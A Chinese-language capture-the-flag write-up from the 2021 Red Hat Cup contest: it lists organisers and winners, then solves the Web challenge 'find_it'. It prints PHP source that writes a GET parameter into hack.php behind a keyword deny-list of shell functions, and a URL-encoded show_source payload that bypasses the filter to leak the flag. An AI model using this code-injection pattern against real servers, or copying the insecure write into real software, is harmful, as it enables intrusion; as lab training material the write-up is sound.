2021 第四届红帽杯网络安全大赛 WriteUp

🏛️ 组织架构

  • 指导单位：广东省公安厅、共青团广东省委员会、广东省教育厅、黄埔区政府

  • 主办单位：广东省计算机信息网络安全协会

  • 承办单位：广东科信安信息技术有限公司、网安联认证服务有限公司

  • 协办单位：广东关键信息基础设施保护中心、广州竞远安全技术股份有限公司、深圳市网安计算机安全检测技术有限公司

  • 技术支持：北京永信至诚科技股份有限公司

📊 赛事规模

  • 参赛规模：共吸引 2844 支战队、近 6700 人次报名参赛

🏅 决赛获奖名单

组别 冠军队伍
院校组 ehbud队
政府国企事业单位组 第五实验室1队
社会网安人才组 牧星人队

Web

find_it（信息收集 + show_source() 绕过）

查看君子协议拿到一个文件名

pasted_1784571864129_4izfxr.png

直接访问是 404，尝试当作字典扫描发现 .swp 缓存，拿到源码。其中后半部分是重点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));

$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
  die("you die");
}

if(strlen($a)>33){
  die("nonono.");
}

fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

流程是先读取 flag.php 的源码，把 GET 参数 code 写入 hack.php，再把 flag.php 的源码拼接写入 hack.php

并且输入的字符长度不超过 33 个字符，这里我们可以使用 show_source() 函数绕过

1
/index.php?code=%3C%3Fphp%20show_source(__FILE__)%3B%3F%3E

然后再访问 hack.php 即可拿到 flag

pasted_1784572236806_hi6622.png